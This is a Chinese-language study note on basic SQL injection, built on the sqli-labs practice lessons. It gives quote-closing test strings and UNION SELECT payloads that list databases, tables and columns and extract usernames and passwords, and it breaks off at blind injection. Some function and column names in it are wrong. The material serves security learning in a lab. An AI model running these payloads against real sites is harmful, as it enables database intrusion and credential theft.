简单sql注入总结(一)
0x01
(1)注入的分类:仁者见仁智者见智,不多加赘述。
(2)系统函数:
几个常用函数:
- version()——系统版本;
- database()——数据库名;
- user()——数据库用户名;
- @@datadir——数据库路径;
- @@vision_compile_os——操作系统版本;
(3)字符串连接函数
- concat(str1,str2,…)——没有分隔符地连接字符串;
- concat_ws(’分隔符‘,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接组中所有字符串,并以逗号隔开
不需要详细了解,知道这三个函数可以一次性查出所有内容就行了。
(4)一般用于尝试的语句
or 1=1#
'or 1=1#
''or 1=1#
)or 1=1#
')or 1=1#
‘’)or 1=1#
‘’))or 1=1#
(5)注释符
–,--+,#,/**/等等
总结
其实一次sql注入无非分为两个部分,一是闭合Mysql中的语句;二是执行所构建的新的语句。
0x02各种注入方式及流程
(1)一般注入sqllibs(Less1–4)
#注入点
-1' union select 1,2,3--+
#爆数据库
-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
#爆表
-1' union select 1,group_concat(table_name),3 from information_schema.tables where schema_name='security'--+
#爆字段
-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
#爆数据
-1‘ union select 1,username,password from users where id=2--+
下面几题所执行的sql语句相同就不多加赘述,只是闭合’的方式有所不同,直接贴出来,可以成功注入的有:
or 1=1
or 1=1 --+
') or '1'=('1'
) or 1=1 --+
“) or ”1”=(“1
“) or 1=1 --+
(2)盲注
执行注入语句后前端页面不回显称之为盲注。